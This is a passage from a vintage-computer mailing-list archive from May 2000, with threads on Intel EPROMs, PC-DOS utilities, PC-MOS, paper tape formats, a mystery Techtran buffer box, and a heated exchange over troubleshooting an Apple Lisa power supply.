2716's but were labeled 2617 ( as I recall ). These were 2716's that had a few bits bad that were used as system ROM's. If the bad bits didn't interfere with the data needed, they used them. Intel did a lot of strange numbering. Not everything they did was consistent. Dwight From elvey at hal.com Thu May 25 11:24:43 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:53:07 2005 Subject: Altair parts substitutions In-Reply-To: <004001bfc5f4$2cc6c760$7564c0d0@ajp166> Message-ID: <200005251624.JAA03853@civic.hal.com> "allisonp" wrote: > > > EBayism struck, later they were nearly out of production and Rare. > But the products that needed them lived on. hance the high price > near end of life. > > Allison If the people buying them only knew that they could plug a 2716 into the same socket, they could save a bunch of money. I guess if the part sheet says 2758, that is what you use. While at Intel, I never did see anything other than the half bad 2716's. For lab use, we often used them just like the 2616's that I mentioned in an earlier post. Dwight From wilson at dbit.dbit.com Thu May 25 12:19:16 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:53:07 2005 Subject: ASCII art In-Reply-To: <392CD27A.853F6C86@home.com>; from mranalog@home.com on Thu, May 25, 2000 at 12:12:58AM -0700 References: <392CD27A.853F6C86@home.com> Message-ID: <20000525131916.A31373@dbit.dbit.com> On Thu, May 25, 2000 at 12:12:58AM -0700, Doug Coward wrote: > A couple of years ago, after reading the chapter on ASCII art > in "The New RTTY Handbook", I wrote a quick and dirty program > to to convert .BMP files into non-overstrike ASCII pictures > I could send in emails. From the book, I created my levels of > "gray" in 8 levels with this character array: > M H I : " , . [SP] (from dark to light) Do any of the line printer art programs attempt to distribute the error to neighboring pixels? I always assumed those systems (the commercial ones anyway, like the outfits that used to make line-printer T-shirts from photos) used something like Floyd-Steinberg halftoning, where you use the value of the current pixel to choose a level of gray, then figure out by how much that level differs from the value you *really* wanted, and distribute that error to neighboring pixels which you'll visit later on in the sequence. Having a cumulative error of only one level of gray per line lets you get really nice pictures from lousy output devices, all with integer math... John Wilson D Bit From wilson at dbit.dbit.com Thu May 25 12:47:50 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:53:07 2005 Subject: PCDOS 2000 In-Reply-To: <200005251054.GAA06131@bg-tc-ppp858.monmouth.com>; from pechter@pechter.dyndns.org on Thu, May 25, 2000 at 06:54:41AM -0400 References: <20000525005207.A29409@dbit.dbit.com> <200005251054.GAA06131@bg-tc-ppp858.monmouth.com> Message-ID: <20000525134750.B31373@dbit.dbit.com> On Thu, May 25, 2000 at 06:54:41AM -0400, Bill Pechter wrote: > It's interesting that they've been using the Ramboost from Central Point > Software in it years after CPS got swallowed and eradicated by Symantec. So *that's* what happened to CPS! I've been using the CPBACKUP that came with PC-DOS (6.3?) for years, but a while back when I went looking to buy the latest version (if any), I couldn't find any trace of CPS. Well I guess the fact that they don't exist any more doesn't let them off the hook with their agreement with IBM!!! CPBACKUP is still there, and so is CP UNDELETE. John Wilson D Bit From ard at p850ug1.demon.co.uk Thu May 25 13:15:19 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:07 2005 Subject: Bootable Floppy from CD? In-Reply-To: <392C779A.7663DB0C@mcmanis.com> from "Chuck McManis" at May 24, 0 05:45:14 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 709 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000525/b30fa0cf/attachment-0001.ksh From rdd at smart.net Thu May 25 13:44:14 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:53:07 2005 Subject: CT Miniframe Message-ID: Greetings, Are there still users on this list who've used a CT Miniframe running CTIX and have experience installing the OS from tapes? -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From rigdonj at intellistar.net Thu May 25 15:28:20 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:53:07 2005 Subject: Strange box In-Reply-To: <392D4315.1CDB0D59@home.com> Message-ID: <3.0.1.16.20000525152820.3d27bd4a@mailhost.intellistar.net> At 08:13 AM 5/25/00 -0700, Doug wrote: >************** > I'm sending this again because my first attempt went to >classiccmp-classiccmp-org@jade.tseinc.com and was rejected. >If you are receiving a second copy of this,ignore it. >************** >Joe wrote: >> I found this in a pile of surplus computers yesterday. Can anyone tell >> me what it is? It looks like an ordinary external 5 1/4" drive box but on >> the back of the box it has a DB-25M connector marked "MODEM/CPU" and a >> DB-25F connector marked "TERMINAL". There's also a rotary switch labeled >> "RATE" with positions marked "10", "30", "120", "240", "480", 960" and >> "EXT". Then there's a toggle switch with positions marked "BIN CTRL ON" >> "ODD" and "EVEN". And another toggle switch with positons marked "FULL" and >> "HALF". It has a socket for a standard AC line cord. It's made by Techtran >> Industries of Rochester, N.Y. and it's a model 950A. My guess is that it's >> a disk drive that's made to go between a terminal and it's MODEM or >> computer but I've never heard of one before. If that's what it is, then >> how do you give it coomands? > > Joe, > I don't think this is one of those file-system/data logger type >drives,I have one of those and it has a keypad on the front of the >drive you use to open a disk file before dumping serial data to it >and to close the file when you're done. > > Instead, I think you have a CP/M computer. It sounds alot like >my PMC 101 "MicroMate". > http://www.best.com/~dcoward/ebay/micromat.jpg > The MicroMate is about the same size as and looks like a TRS-80 >Model 1 disk drive. On the back it has DB-25s for "Terminal" and >"Modem". It weights only 10 pounds but when you open the case >there is a DSDD 400K floppy drive, a power supply and a board >that runs the length of the case, which is a 128K 4Mhz Z80A based >CP/M computer. If this is the "case" - you'll need a boot disk. > What is inside this box of yours? > --Doug Doug, I think Tony is right about it beins some kind of buffer box. I wish it was some kind of small computer! There are a couple more where I found this one. I opened it this morning and it has has a 8085AH CPU in it along with a 8212 IC (8 bit latch) and two 8156 ICs (8 x 256 bit SRAM with timer and I/O ports) in it along with a lot of SSI TTL chips. All the ICs seem to be dated 1979 and 1982. There's also a linear power supply in it and it has a Tandon model 100A1 single sided floppy drive in it. There's no keypad on the front but it does have three LEDs marked "READ", "WRITE" and "READY" and a toggle switch with postions marked "BINARY", "ON-LINE" and "OFF". I found an original disk for it and installed it and powered it up and the READ and WRITE LEDs flash a few times then go out and the READY LED comes on and stays on. I tried the same thing with another disk and the READ and WRIE LEDs flash a few time but then the READ, WRITE and READY LEDs all start flasking in turn so it knows that it's not the proper disk. I tried to find a file system on the original disk but I haven't found one yet. I'll post some pictures as soon as I can. Perhaps someone will recognize it. If it is just a buffer, I may see if someone wants it for a small computer box or for an external drive for an old computer. It's in a good stout steel case and has a good power supply and a fan with filter in it. What was your MicroMate made for? It seems kind of limited with so few ports. Joe From rigdonj at intellistar.net Thu May 25 14:58:48 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:53:07 2005 Subject: Notes on repairing the Apple Lisa power supply Message-ID: <3.0.1.16.20000525145848.3d27afbc@mailhost.intellistar.net> I have a Lisa 2/5 that doesn't want to work. Here's some things that I've found out in the process of troubleshooting it. (1) The PS in the 2/5 and the 2/10 are interchangeable but the 2/5 PS has a lower capacity. (2/10 and the Mac XL hardware are the same). (2) The card cage must be installed in a before the PS will turn on but the memory and I/O cards need not be installed. (3) The CPU does not have to be installed for the PS to work but if it's not installed the PS will keep resetting and will make a chirping sound. (4) The card cages for the 2/5 and 2/10 have different brackets and don't appear to be interchangeable. (5) An I/O card from a 2/10 will work in a 2/5, at least properly enough to power it on and get a display. >(6) A "bad" I/O card in a 2/5 will prevent the PS from turning on and will cause the PS to appear defective.< (see note 2!) My 2/5 will not power on. I installed a known good PS from a 2/10 and it still doesn't work. The 2/5 PS DOES work in the 2/10 so it is good. The 2/5 will power up with an I/O board from a 2/10 or with no I/O board installed so the problem appears to be in the I/O board. The battery condition seems to not matter. Does anyone have a schematic of the interlocks and interconnects for the Lisa 2/5 or know what signals the power supply gets from the I/O board? Joe From donm at cts.com Thu May 25 14:29:18 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:53:07 2005 Subject: PCDOS 2000 In-Reply-To: <20000525134750.B31373@dbit.dbit.com> Message-ID: On Thu, 25 May 2000, John Wilson wrote: > On Thu, May 25, 2000 at 06:54:41AM -0400, Bill Pechter wrote: > > It's interesting that they've been using the Ramboost from Central Point > > Software in it years after CPS got swallowed and eradicated by Symantec. > > So *that's* what happened to CPS! I've been using the CPBACKUP that came > with PC-DOS (6.3?) for years, but a while back when I went looking to buy the > latest version (if any), I couldn't find any trace of CPS. Well I guess the > fact that they don't exist any more doesn't let them off the hook with their > agreement with IBM!!! CPBACKUP is still there, and so is CP UNDELETE. > > John Wilson > D Bit > And that is what happened to the CPS Deluxe Option Card and the earlier Copy-to-PC software, also. - don From foo at siconic.com Thu May 25 13:45:35 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:53:07 2005 Subject: Looking for motherboard and wiring info for Lisa 1 In-Reply-To: <000101bfc5b3$737a3570$013da8c0@Corellian> Message-ID: On Wed, 24 May 2000, John Lewczyk wrote: > I just picked up a non-functioning Lisa 2 (which was an upgraded Lisa 1) and > have lots of technical documentation, but nothing on the motherboard and > wiring between powersupply, video and motherboard/cage assembly. I'd like > to avoid tracing it all out if this info is available. The Lisa/Macintosh XL Do-it-yourself Guide has some good data on the Lisa, but no schematics. I believe I have technical data on the Lisa, but it's buried :( > Also, it appears that one 120 pin socket on the motherboard is missing a > connector pin, and there is some amount of blue corrosion on the tops of the > other connectors. What's the best way to clean off this kind of (light) > corrosion (oxidation)? The blue corrosion is usually caused by the clock battery on the main board (the one you see when you open up the back) that goes bad and leaks all over the damn place. Some good suggestions have come up in the past regarding cleaning it up, so I'll let the experts chime in (I know I have that info saved somewhere). > It appears to me that the motherboard socket that is missing one pin will > need to be replaced. Anybody have any recommendations on how to best do > this? The motherboard is a four layer board. I have soldering/desoldering > experience, but I've never tackled an item with this many pins on a 4 layer > board before. Find another Lisa :) and use it for parts. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From RCini at congressfinancial.com Thu May 25 14:49:05 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:53:07 2005 Subject: Paper tape format Message-ID: <497A9E0467D2D2119B760090271EB8E50E9171@MAIL10> >From the "just out of curiosity" department... What is the punch format used for a paper tape that would be used on an Altair or IMSAI? Is it straight binary or something like the Intel Hex format? The reason why I'm asking is because I'm toying with adding a virtual paper tape punch/reader to Claus Guiloi's IMSAI emulator. Rich From rdd at smart.net Thu May 25 14:51:32 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:53:07 2005 Subject: Items for trade Message-ID: Is anyone interested in trading a pair of what appear to be two 256K Unibus memory boards, made by National Semiconductor Memory Systems (these boards have four rows of thirty-two 4164-15 ICs on them), for two of the following: - DEUNA for a PDP-11 - RS232 interface for a PDP-8/e - TK50 Q-bus controller - some other board I don't have and can use - or... will trade both memory boards for one Q-bus 32-bit SCSI interface. Other things available: Emulex Performance 4000 terminal server; has a short in it somewhere. Either fix it and get a working server, or, turn it back in to Emulex and for just a couple of hundred bucks, get a reconditioned working server! (this was the case the last time I contacted Emulex) Make me an offer. Sun Field Engineers Handbooks: like new condition for the newer (not very newest) SPARC machines... these don't go back to the older Sun 4 and Sun 3 systems, which I need the handbooks for. Some sort of ethernet board for a QMS printer, marked as: QMS DTRBD, ETHRNT, 16BIT, CROWN, 2293117. The box it came in has "Appletalk for QMS860" written on it, but documentation in the box says "QMS UNIX Host Software." The following I'd prefer to trade locally (Baltimore area): An IBM 4701-1 bank branch controller system; comes with three small Geac terminals (sans keyboards!) and some other sort of interface units, cables, etc. Interesting looking toy for those into IBM stuff, and includes documentation (a book inside the cabinet!). I'll bet that with some hacking, this could be made into some sort of dedicated controller of some sort for an application not requiring much CPU speed or memory. Fascinating looking bus, boards, etc. Contains an 8" floppy drive. Things I'm looking for: - anything DEC-related (could use a cabinet tell enough to put an 11/44 CPU and four RL02 drives in) - PDP-8/e boards (esp. hard drive or RS232 interface) and an additional backplane - ULTRIX 4.2 installation media to replace the now missing /usr directory on my Decstation - OS for a MIPS Magnum 3000 on a cartridge tape, as well as any documentation for this system - Data General system running 16-bit AOS/VS, preferable something small like an MV-2,000/4,000 (I want to see "Nothing happens." in response to XYZZY, not "Twice as much happens.") -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From foo at siconic.com Thu May 25 13:55:36 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:53:07 2005 Subject: Bootable Floppy from CD? In-Reply-To: <3.0.2.32.20000525002112.010fcb38@postoffice3.mail.cornell.edu> Message-ID: On Thu, 25 May 2000, Carlos Murillo wrote: > El Torito. > > The origin? beats me. There's a restaurant chain in California called that. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From pechter at pechter.dyndns.org Thu May 25 14:56:22 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:07 2005 Subject: PCDOS 2000 In-Reply-To: <20000525134750.B31373@dbit.dbit.com> from John Wilson at "May 25, 2000 01:47:50 pm" Message-ID: <200005251956.PAA07449@bg-tc-ppp454.monmouth.com> > On Thu, May 25, 2000 at 06:54:41AM -0400, Bill Pechter wrote: > > It's interesting that they've been using the Ramboost from Central Point > > Software in it years after CPS got swallowed and eradicated by Symantec. > > So *that's* what happened to CPS! I've been using the CPBACKUP that came > with PC-DOS (6.3?) for years, but a while back when I went looking to buy the > latest version (if any), I couldn't find any trace of CPS. Well I guess the > fact that they don't exist any more doesn't let them off the hook with their > agreement with IBM!!! CPBACKUP is still there, and so is CP UNDELETE. > > John Wilson > D Bit Surprised you didn't hear that. I was so mad I swore I wouldn't buy Norton* after that because the support dropped too quickly and they didn't pick the best programs to keep -- PC Tools for Windows got subsumed to the Norton Equivalents. Nothing beat the older PC Tools. Symantec's website seems to have some updates for the PCTools stuff. I assume IBM got source. Of course when I worked for IBM I ordered their AntiVirus suite... Paid the support fee -- then IBM drops the program and unloades it to be the base of Norton AntiVirus. Figures. And DEC unloads the PDP11 to Mentec and OS/2 gets killed. So it goes. BTW -- Thanks again for E11. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From steverob at hotoffice.com Thu May 25 15:13:11 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:53:07 2005 Subject: Question about PC-MOS Message-ID: <2921A6D846E9D31182490050040DC0D6682BDC@hoexc101.hotoffice.com> Has anybody heard of an OS called "PC-MOS"? I'm supposed to pick up a system on Saturday that runs that OS and was wondering what the heck it is. Thanks, Steve Robertson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000525/668c16a0/attachment-0001.html From donm at cts.com Thu May 25 15:27:33 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:53:07 2005 Subject: Epson TF-10 Floppy Drive power In-Reply-To: <200005251956.PAA07449@bg-tc-ppp454.monmouth.com> Message-ID: Does anyone have documentation or experience enough to describe the battery power circuit for this external 3.5" floppy drive as used with the PX-8 Geneva? >From the multiple terminals in the battery compartment, it appears that it must require an adapter of some sort to use and charge NiCads in it, whereas normal C cells just snap in and are isolated from the charging circuit. Any information appreciated. - don From rdd at smart.net Thu May 25 15:34:27 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:53:07 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: <3.0.1.16.20000525145848.3d27afbc@mailhost.intellistar.net> Message-ID: On Thu, 25 May 2000, Joe wrote: > I have a Lisa 2/5 that doesn't want to work. Here's some things that I've > found out in the process of troubleshooting it. Weierd, I could have sworn I just read the words "process of troubleshooting" above; I'd better get my eyes checked. > (2) The card cage must be installed in a before the PS will turn on but > the memory and I/O cards need not be installed. Did you test the power supply with a dUmmy load first, using a voltmeter as well as an oscilloscope to check for voltage levels, as well as spikes, before applying power to the boards, and applying any necessary test connections to the PSU's input connectors? > (5) An I/O card from a 2/10 will work in a 2/5, at least properly enough > to power it on and get a display. "properly enough"? > >(6) A "bad" I/O card in a 2/5 will prevent the PS from turning on and will > cause the PS to appear defective.< (see note 2!) Don't you mean an I/O card with a short circuit somewhere? If you don't know what a short circuit is, just ask, or experiment... e.g., if, for example, you touch the conductors connected to the hot and ground connectors of a mains socket, and a fuse blows or a circuit breaker trips, you'll find that you've learned a lot about short circuits and saving classic computers. ;-) > My 2/5 will not power on. I installed a known good PS from a > 2/10 and it still doesn't work. The 2/5 PS DOES work in the 2/10 so > it is good. The Surely you jest... They why did you risk swapping in another un-tested, even though thought to be good, PSU, and risk additional damage to the boards? Didn't you test the 2/5 PSU before doing anything else? Why put the 2/10 at risk by putting a PSU in suspect condition into it? Hmmm... have you considered computer preservation as a hobby instead of computer demolition? > 2/5 will power up with an I/O board from a 2/10 or with no I/O board > installed so the problem appears to be in the I/O board. The battery > condition seems to not matter. Does anyone have a schematic of the > interlocks and interconnects for the Lisa 2/5 or know what signals the > power supply gets from the I/O board? Shouldn't you have tried to find that out before swapping things around without knowing what you were doing? -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From dhquebbeman at theestopinalgroup.com Thu May 25 15:49:01 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:53:07 2005 Subject: Question about PC-MOS Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD50@tegntserver.tegjeff.com> Mult-user clone of MS/PC-DOS, was from a company called TSL (The Software Link). hth, -dq -----Original Message----- From: Steve Robertson [mailto:steverob@hotoffice.com] Sent: Thursday, May 25, 2000 4:13 PM To: classiccmp@classiccmp.org Subject: Question about PC-MOS Has anybody heard of an OS called "PC-MOS"? I'm supposed to pick up a system on Saturday that runs that OS and was wondering what the heck it is. Thanks, Steve Robertson From wilson at dbit.dbit.com Thu May 25 15:54:55 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:53:07 2005 Subject: PCDOS 2000 In-Reply-To: <200005251956.PAA07449@bg-tc-ppp454.monmouth.com>; from pechter@pechter.dyndns.org on Thu, May 25, 2000 at 03:56:22PM -0400 References: <20000525134750.B31373@dbit.dbit.com> <200005251956.PAA07449@bg-tc-ppp454.monmouth.com> Message-ID: <20000525165455.A32289@dbit.dbit.com> On Thu, May 25, 2000 at 03:56:22PM -0400, Bill Pechter wrote: > And DEC unloads the PDP11 to Mentec and OS/2 gets killed. Last I heard OS/2 was still very much alive, although IBM's attitude towards it is surly to say the least. But unlike some companies I could mention, IBM knows better than to refuse to accept money from their customers just because the customers want to buy something other than whatever new toy the IBM management is excited about this week. So it will probably keep getting *some* support as long as the customers are willing to pay for it. John Wilson D Bit From wilson at dbit.dbit.com Thu May 25 15:56:14 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:53:07 2005 Subject: Question about PC-MOS In-Reply-To: <2921A6D846E9D31182490050040DC0D6682BDC@hoexc101.hotoffice.com>; from steverob@hotoffice.com on Thu, May 25, 2000 at 04:13:11PM -0400 References: <2921A6D846E9D31182490050040DC0D6682BDC@hoexc101.hotoffice.com> Message-ID: <20000525165614.B32289@dbit.dbit.com> On Thu, May 25, 2000 at 04:13:11PM -0400, Steve Robertson wrote: > Has anybody heard of an OS called "PC-MOS"? > > I'm supposed to pick up a system on Saturday that runs that OS and was > wondering what the heck it is. Could be wrong but, my understanding is that it's a multi-user MS-DOS clone, typically used in point-of-sale systems. John Wilson D Bit From ard at p850ug1.demon.co.uk Thu May 25 13:38:12 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:07 2005 Subject: Altair parts substitutions In-Reply-To: from "allisonp@world.std.com" at May 25, 0 09:09:33 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 858 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000525/17091f42/attachment-0001.ksh From richard at idcomm.com Thu May 25 16:03:10 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:07 2005 Subject: Altair parts substitutions References: Message-ID: <001701bfc68c$a3038060$0400c0a8@winbook> See my comments below, plz. Dick ----- Original Message ----- From: To: Sent: Thursday, May 25, 2000 7:09 AM Subject: Re: Altair parts substitutions > On Wed, 24 May 2000, Richard Erlacher wrote: > > > You're right about the PMOS=> NMOS=>HMOS=>CMOS shifts in technology, but > > I'd be surprised to learn that the 3000 series parts as well as the 82xx > > bipolar parts weren't manufactured by NS, MMI, or TI. > > > > Dick > > Exactly. Intel had bipolar fab but limited capability. Actually you > forgot Signetics and likely others that were used as silicon foundaries. > This is something that has always been commonplace in the industry. > > However no one ever supplied the 3000 two bit slice other than intel. > I don't think this was an accident, nor was it a mistake. The only reference I've ever heard/read made to a bipolar fab under Intel's ownership has been from you. It's not unlikely that I could have missed it, being relatively uninterested in issues like who owned the fab, but I have looked inside a number (50 > n >150) Intel bipolar parts among others' bipolars, and never have I seen one without another manufacturer's logo. MMI was pretty common among them. This was done in order to "decode" IBM, HP, Burroughs, and others' stock numbered parts when I happened on a significant quantity. > > From richard at idcomm.com Thu May 25 16:10:53 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:07 2005 Subject: Paper tape format References: <497A9E0467D2D2119B760090271EB8E50E9171@MAIL10> Message-ID: <005101bfc68d$bcfdc7e0$0400c0a8@winbook> I suppose one could use a hex format, but I've never seen anything under CP/M other than binary. Normally it's loaded into memory and then saved to disk. Dick ----- Original Message ----- From: Cini, Richard To: 'ClassCompList' Sent: Thursday, May 25, 2000 1:49 PM Subject: Paper tape format > >From the "just out of curiosity" department... > > What is the punch format used for a paper tape that would be used on an > Altair or IMSAI? Is it straight binary or something like the Intel Hex > format? > > The reason why I'm asking is because I'm toying with adding a virtual paper > tape punch/reader to Claus Guiloi's IMSAI emulator. > > > Rich > From rigdonj at intellistar.net Thu May 25 17:46:57 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:53:07 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: References: <3.0.1.16.20000525145848.3d27afbc@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000525174657.5327c6a4@mailhost.intellistar.net> At 04:34 PM 5/25/00 -0400, R. D. Davis wrote: >On Thu, 25 May 2000, Joe wrote: >> I have a Lisa 2/5 that doesn't want to work. Here's some things that I've >> found out in the process of troubleshooting it. > >Weierd, I could have sworn I just read the words "process of >troubleshooting" above; I'd better get my eyes checked. Weierd? Maybe the problem isn't your eyes. > >> (2) The card cage must be installed in a before the PS will turn on but >> the memory and I/O cards need not be installed. > >Did you test the power supply with a dUmmy load first, using a >voltmeter as well as an oscilloscope to check for voltage levels, as >well as spikes, before applying power to the boards, and applying any >necessary test connections to the PSU's input connectors? No, I didn't since I took it out of a working machine. I don't mean WAS working, I mean one that I have been using and that I tested less than five minutes before pulling the PS. > >> (5) An I/O card from a 2/10 will work in a 2/5, at least properly enough >> to power it on and get a display. > >"properly enough"? The 2/10 doesn't have an external parallel port and there are other differences but you can still get a display with it. That's what I'm talking about. FYI the parallel port in the 2/10 is used for the hard drive. I did disconnect the drives before starting. > >> >(6) A "bad" I/O card in a 2/5 will prevent the PS from turning on and will >> cause the PS to appear defective.< (see note 2!) > >Don't you mean an I/O card with a short circuit somewhere? Did I say short circuit? Hmmm, nope I don't see that anywhere. If you >don't know what a short circuit is, just ask, or experiment... e.g., Thanks but I've seen plenty of them. In case you can't figure it out, the point is that a "bad" I/O card will make it appear that the power supply is bad. Perhaps that's one reason that so many people have Lisas with what they think has a bad power supply. >if, for example, you touch the conductors connected to the hot and >ground connectors of a mains socket, and a fuse blows or a circuit >breaker trips, you'll find that you've learned a lot about short >circuits and saving classic computers. ;-) > >> My 2/5 will not power on. I installed a known good PS from a >> 2/10 and it still doesn't work. The 2/5 PS DOES work in the 2/10 so >> it is good. The > >Surely you jest... > >They why did you risk swapping in another un-tested, even though >thought to be good, PSU, and risk additional damage to the boards? Yes, you'd better have your eyes checked! I said KNOWN good power supply. You even quoted me above. >Didn't you test the 2/5 PSU before doing anything else? Why put the >2/10 at risk by putting a PSU in suspect condition into it? I tested BOTH power supplies as best as possible before swapping them. They were both good. That was proven with they both worked in the other machines. Oh, and in case you think I shouldn't have swapped the supplies to the different machines, I did verify that they were compatible in one of the Apple repair manuals first. Would you like for me to scan and post the appropriate page? I have it right here is front of me. The same manual states that the cards are also interchangeable but that there are some differences in the I/O card due to the hard drive (I disconnected it.) > >Hmmm... have you considered computer preservation as a hobby instead >of computer demolition? Have you considered minding your own business and not putting words in other people's mouths? > >> 2/5 will power up with an I/O board from a 2/10 or with no I/O board >> installed so the problem appears to be in the I/O board. The battery >> condition seems to not matter. Does anyone have a schematic of the >> interlocks and interconnects for the Lisa 2/5 or know what signals the >> power supply gets from the I/O board? > >Shouldn't you have tried to find that out before swapping things >around without knowing what you were doing? I knew what I was doing. Shouldn't you find out what you're talking about before you start shooting your mouth off? I don't know what kind of hair you have up your ass but I just e-mailed you and offered you some of the DEC 11/44 stuff that you were looking for. Now you can forget that! Joe > >-- >R. D. Davis >rdd@perqlogic.com >http://www.perqlogic.com/rdd >410-744-4900 > > From mgregory at vantageresearch.com Thu May 25 16:48:35 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:53:07 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] Message-ID: <016c01bfc692$fab2a600$0200a8c0@marvin> -----Original Message----- From: R. D. Davis To: classiccmp@classiccmp.org Date: Thursday, May 25, 2000 3:02 PM Subject: Re: Notes on repairing the Apple Lisa power supply >Hmmm... have you considered computer preservation as a hobby instead >of computer demolition? > > >Shouldn't you have tried to find that out before swapping things >around without knowing what you were doing? > >-- >R. D. Davis >rdd@perqlogic.com >http://www.perqlogic.com/rdd >410-744-4900 > On the whole, your reply seemed remarkably snotty and unhelpful, and didn't add much useful information to help solve the problem. And for relatively common computers, component swapping is a perfectly valid way of isolating a fault quickly. Let's assume the worst case: he had fried his other Lisa. Would that have been a tragic loss to history? There are hundreds (thousands?) of other preserved Lisas out there. Even with blown components, he could still have sold them for hundreds "as-is" on eBay, where they would provide parts to revive other Lisas. Not every classic computer should be treated like a priceless antique. Get some perspective. Just my 2 cents. Mark. From SUPRDAVE at aol.com Thu May 25 17:18:58 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:53:07 2005 Subject: PCDOS 2000 Message-ID: In a message dated 5/25/00 5:03:40 PM Eastern Daylight Time, wilson@dbit.dbit.com writes: > On Thu, May 25, 2000 at 03:56:22PM -0400, Bill Pechter wrote: > > And DEC unloads the PDP11 to Mentec and OS/2 gets killed. > > Last I heard OS/2 was still very much alive, although IBM's attitude > towards it is surly to say the least. But unlike some companies I could > mention, IBM knows better than to refuse to accept money from their > customers > just because the customers want to buy something other than whatever new > toy the IBM management is excited about this week. So it will probably > keep getting *some* support as long as the customers are willing to pay > for it. > > John Wilson > D Bit there will be an OS2 version update later this year (4.5?) which will offer usb support amongst other things. recently fixpak 13 was announced. of course, downloading it all and installing it is a major task in itself. DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From rigdonj at intellistar.net Thu May 25 18:21:50 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:53:07 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] In-Reply-To: <016c01bfc692$fab2a600$0200a8c0@marvin> Message-ID: <3.0.1.16.20000525182150.0e17d49a@mailhost.intellistar.net> At 03:48 PM 5/25/00 -0600, you wrote: >-----Original Message----- >From: R. D. Davis >To: classiccmp@classiccmp.org >Date: Thursday, May 25, 2000 3:02 PM >Subject: Re: Notes on repairing the Apple Lisa power supply > > > >>Hmmm... have you considered computer preservation as a hobby instead >>of computer demolition? >> > >> >>Shouldn't you have tried to find that out before swapping things >>around without knowing what you were doing? >> >>-- >>R. D. Davis >>rdd@perqlogic.com >>http://www.perqlogic.com/rdd >>410-744-4900 >> > > >On the whole, your reply seemed remarkably snotty and unhelpful, and didn't >add much useful information >to help solve the problem. And for relatively common computers, component >swapping is a perfectly valid way of isolating a fault quickly. Let's >assume the worst case: he had fried his other Lisa. Would that have been a >tragic loss to history? There are hundreds (thousands?) of other preserved >Lisas out there. Even with blown components, he could still have sold them >for hundreds "as-is" on eBay, where they would provide parts to revive >other Lisas. Not every classic computer should be treated like a priceless >antique. Get some perspective. > >Just my 2 cents. >Mark. > Thanks Mark. Isn't it amazing how many people that never contribute a single thing feel that they have the right to criticize others? Joe From g at kurico.com Thu May 25 17:35:22 2000 From: g at kurico.com (George Currie) Date: Sun Feb 27 18:53:07 2005 Subject: Question about PC-MOS In-Reply-To: <2921A6D846E9D31182490050040DC0D6682BDC@hoexc101.hotoffice.com> Message-ID: <392D645A.13309.23407F0E@localhost> IIRC it was a multi-user DOS clone. It allowed you to attach terminals to your pc and have the terminals run certain DOS apps (obviously nothing with graphics). It actually worked pretty well when used with special made Kimtron terminals (the terminal had a "normal" pc keyboard layout). I wrote a video store POS system that utilized this setup at one of my customers locations, pretty slick running on a NCR 286 w/ three terminals (four users total, though the console was primarily used for admin). George > Has anybody heard of an OS called "PC-MOS"? > > I'm supposed to pick up a system on Saturday that runs that OS and was > wondering what the heck it is. > > Thanks, > Steve Robertson > From rigdonj at intellistar.net Thu May 25 18:43:08 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:53:07 2005 Subject: Strange box 